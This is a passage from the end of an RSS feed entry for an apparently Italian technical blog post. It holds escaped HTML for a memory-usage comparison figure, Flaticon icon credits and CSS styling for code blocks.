        &lt;source srcSet=&quot;/static/7c79accf7e808fc5fb8f4759b60df910/5a46d/uso-della-memoria-a-confronto.png 300w,/static/7c79accf7e808fc5fb8f4759b60df910/0a47e/uso-della-memoria-a-confronto.png 600w,/static/7c79accf7e808fc5fb8f4759b60df910/c1b63/uso-della-memoria-a-confronto.png 1200w,/static/7c79accf7e808fc5fb8f4759b60df910/d61c2/uso-della-memoria-a-confronto.png 1800w,/static/7c79accf7e808fc5fb8f4759b60df910/51dd6/uso-della-memoria-a-confronto.png 1952w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 28 - Uso della memoria a confronto&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/7c79accf7e808fc5fb8f4759b60df910/c1b63/uso-della-memoria-a-confronto.png&quot; title=&quot;Figura 28 - Uso della memoria a confronto&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 28 - Uso della memoria a confronto&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;h2 id=&quot;credits&quot;&gt;Credits&lt;/h2&gt;&lt;p&gt;&lt;em&gt;Icons made by:&lt;/em&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.flaticon.com/authors/freepik&quot;&gt;&lt;em&gt;Freepik&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.flaticon.com/authors/turkkub&quot;&gt;&lt;em&gt;turkkub&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.flaticon.com/authors/prettycons&quot;&gt;&lt;em&gt;prettycons&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.flaticon.com/authors/smashicons&quot;&gt;&lt;em&gt;Smashicons&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.flaticon.com/authors/pixel-perfect&quot;&gt;&lt;em&gt;Pixel perfect&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.flaticon.com/authors/payungkead&quot;&gt;&lt;em&gt;Payungkead&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;em&gt;from&lt;/em&gt; &lt;a href=&quot;http://www.flaticon.com&quot;&gt;&lt;em&gt;www.flaticon.com&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;&lt;style class=&quot;grvsc-styles&quot;&gt;
  .grvsc-container {
    overflow: auto;
    -webkit-overflow-scrolling: touch;
    padding-top: 1rem;
    padding-top: var(--grvsc-padding-top, var(--grvsc-padding-v, 1rem));
    padding-bottom: 1rem;
    padding-bottom: var(--grvsc-padding-bottom, var(--grvsc-padding-v, 1rem));
    border-radius: 8px;
    border-radius: var(--grvsc-border-radius, 8px);
    font-feature-settings: normal;
  }
  
  .grvsc-code {
    display: inline-block;
    min-width: 100%;
  }
  
  .grvsc-line {
    display: inline-block;
    box-sizing: border-box;
    width: 100%;
    padding-left: 1.5rem;
    padding-left: var(--grvsc-padding-left, var(--grvsc-padding-h, 1.5rem));
    padding-right: 1.5rem;
    padding-right: var(--grvsc-padding-right, var(--grvsc-padding-h, 1.5rem));
  }
  
  .grvsc-line-highlighted {
    background-color: var(--grvsc-line-highlighted-background-color, transparent);
    box-shadow: inset var(--grvsc-line-highlighted-border-width, 4px) 0 0 0 var(--grvsc-line-highlighted-border-color, transparent);
  }
  
  .default-dark {
    background-color: #1E1E1E;
    color: #D4D4D4;
  }
  .default-dark .mtk1 { color: #D4D4D4; }
  .default-dark .mtk10 { color: #4EC9B0; }
  .default-dark .mtk8 { color: #CE9178; }
  .default-dark .mtk4 { color: #569CD6; }
  .default-dark .mtk11 { color: #DCDCAA; }
  .default-dark .mtk15 { color: #C586C0; }
  .default-dark .mtk12 { color: #9CDCFE; }
&lt;/style&gt;</content:encoded></item></channel></rss>